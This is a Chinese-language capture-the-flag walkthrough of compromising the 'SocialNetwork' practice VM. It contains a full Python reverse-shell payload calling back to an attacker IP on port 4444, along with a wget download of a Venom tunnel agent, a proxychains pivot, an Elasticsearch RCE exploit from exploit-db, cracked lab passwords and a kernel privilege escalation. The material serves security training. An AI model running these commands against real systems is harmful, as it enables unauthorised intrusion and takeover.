SOCIALNETWORK打靶记录
2023-5-27 18:1:28 Author: 看雪学苑(查看原文) 阅读量:15 收藏


信息收集

首先对靶机进行ip发现与端口及应用版本信息扫描:



dirsearch和Windows平台上的御剑,本质上是一样的。
对隐藏路径进行爬取和发现:


打开后发现是一个代码执行页面 如果过滤不严格可能可以通过该功能直接执行代码操作。


反弹shell

导入一段shell代码去反弹链接,去网上搜索python 反弹shell就可以获得shell代码
https://xz.aliyun.com/t/7721#:~:text=%E6%88%91%E4%BB%AC%E5%85%88%E6%9D%A5%E7%9C%8B%E7%9C%8B%E7%BD%91%E4%B8%8A%E6%B5%81%E4%BC%A0%E5%BE%97%E6%9C%80%E5%B9%BF%E7%9A%84python%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E8%84%9A%E6%9C%AC%EF%BC%9A%20import%20socket%2Csubprocess%2Cos%20s%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29,s.connect%28%28%22127.0.0.1%22%2C23333%29%29%20os.dup2%28s.fileno%28%29%2C0%29%20os.dup2%28s.fileno%28%29%2C1%29%20os.dup2%28s.fileno%28%29%2C2%29%20p%3Dsubprocess.call%28%5B%22%2Fbin%2Fbash%22%2C%22-i%22%5D%29%3B
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.70.196",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
如果kali里没安装bash,像上面那篇文章里面那样call(["/bin/bash","-i"]);就会失败,由于sh是最基础的,所以call /bin/sh总没错。



在反弹的时候遇到了一些小问题,总结一下就是退出root权限,反弹代码千万记得写分号。



内网穿透

dockerfile通常会作为dockers容器部署开发环境的时候会使用的一个模板开发文件。这个模板文件中包含如何去引入docker映像,如何对这个映像进行配置和安装软件包,修改服务项 等都会在这个模板文件中存在。利用这个文件可以在生产的服务器上大量的批量的部署docker容器。



查看该文件,可以看到标准的docker模板的操作指令。



使用命令:ls /.dockerenv 或者 cat /proc/1/cgroup(1表示初始化文件) 如果有结果那说明是一个docker系统而不是安装在服务器上的系统。
如何检测是否是docker系统?通过查看是否存在dockerenv这个文件,如果存在则大概率就是一个docker容器系统。
查看/proc/1/cgroup文件:(1代表系统的初始化进程id 当初始化进程id的cgroup文件中包含着明确的docker信息则百分百是个docker容器) 随后想办法从隔离的docker容器中突破出来找到宿主机,拿到root权限。



可以将docker容器所处的网段视为当前的内网网段 可以对内网网段进行主机发现,看看该网段中是否还存在其他主机。



16个网段,存在65535个ip。
主机发现:ping -c 对内网中的每个ip都ping一遍 或者通过脚本循环ping:for i in $(seq 1 10); do ping -c 1 ip.$i;done。


内网穿透

扫出来的172.17.0.1和172.17.0.1位于内网网段,利用kali上的工具去探测内网网段默认情况下道路不通,此时要使用内网穿透技术。
 
使用内网穿透技术,将内网和kali的网络路由打通 常用的工具:venom。
 
利用venom可以在内网和kali之间建立一个隧道,通过这个隧道生成一个代理 让其他工具可以基于这个代理对内网进行扫描。
 
首先将这个隧道的客户端程序传输拷贝到目标系统上,再与kali上的服务端程序建立隧道。
 
在Kali主机Venom目录启动Python3 Http Server 再回到目标容器系统,通过wget去访问kali主机上的http服务。



venom报错:zsh: 没有那个文件或目录: /home/chey/桌面/Venom 排查后发现是因为文件名有空格 将空格删掉之后就能正常运行了。
运行服务端,本地监听9999端口等待目标容器系统建立监听:




来到客户端计算机,获取到隧道工具的客户端程序(就是a程序)。在kali系统上启动http程序,在目标靶机上运行wget,将kali上的a程序下载过去。



如果wget失败就重启一遍服务(应该在kali装一个nginx之类的server端 开http 然后配置文件里会有一个类似root_dir的配置 还是web_dir 类似的 配好了重新起一下服务 不出意外的话应该不会出现这种问题 )。


靶机服务器上部署venom:成功连上(由于在Linux中给agent_linux_x64改名为a了 所以这里使用的是a)

 
goto到节点:socks启动监听端口1080。


为了让kali上的所有工具都可以挂代理去访问内网的网段,就必须要启动proxychain。
修改代理类型 sudo vi /etc/proxychains4.conf

socks4->socks5
9050->1080

内网扫描

此时可以对内网进行扫描了,对刚刚扫描出来的存活的ip进行扫描:
proxychains nmap -Pn -sT 172.17.0.1



进行服务版本的发现。

对172.17.0.2进行端口和版本信息扫描。
Elasticsearch开放端口:9200


内核提权

有两个远程代码执行漏洞的payload 下载回来看看。


cp /usr/share/exploitdb/exploits/linux/remote/36337.py . 将改脚本拷贝到当前目录。


使用python2来执行该脚本。



发现当前有一个password文件,文件中有账密信息 是md5加密的。



md5在线查询平台:https://cmd5.com/
john:3f8184a7343664553fcb5337a3138814:1337hack
test:861f194e9d6118f3d942a72be3e51749:1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b:1111pass
root:b3d34352fc26117979deabdf1b9b6354:1234pass
jane:5c158b60ed97c723b673529b8a3cf72b:1234jane
使用账密进行ssh登录。



尝试提权:sudo su
本地提权:最主要的方法:通过内核漏洞提权
uname -a 查看内核版本信息


searchsploit
该payload是c语言写的源码,需要通过gcc编译之后才能执行,随后才能成功提权到root权限。



由于靶机上没有gcc软件包,因此在kali上编译完后传到靶机上执行该提权payload,该payload源码中有一段命令:使用gcc编译ofs-lib.c 防止payload在靶机上运行失败,在kali上编译完后修改该代码,改为直接执行编译后的程序。



把涉及到要编译库文件的代码都删除掉。



删除上面红圈内的代码后对修改后的exp进行编译,输出文件名为exp
编译过程中的报错并不影响输出结果。



要执行该exp文件需要配合已经编译好的二进制的库文件一起执行。
二进制的库文件名叫ofs-lib.so 尝试在kali中直接定位该文件。


将这两个文件一起拷贝到目标宿主系统上。
报这个错就需要在kali中exp所在路径下重启http.server服务。


提权

接下来要执行该exp,为了保证exp的执行成功,将这两个文件拷贝到目标靶机的tmp目录下。
首先给exp赋予可执行权限,随后直接执行exp 成功提权。

看雪ID:大河向东流哇

https://bbs.kanxue.com/user-home-878276.htm

*本文为看雪论坛优秀文章,由看雪论坛 大河向东流哇 原创,转载请注明来自看雪社区

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复

球分享

球点赞

球在看


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458505470&idx=1&sn=ddc584d2fcc3740d2beb9e8862b0f103&chksm=b18ee07486f969624890d04f1947f173d824ef8db94a9ab573545c7e37d957758a4992b88b2d#rd
如有侵权请联系:admin#unsafe.sh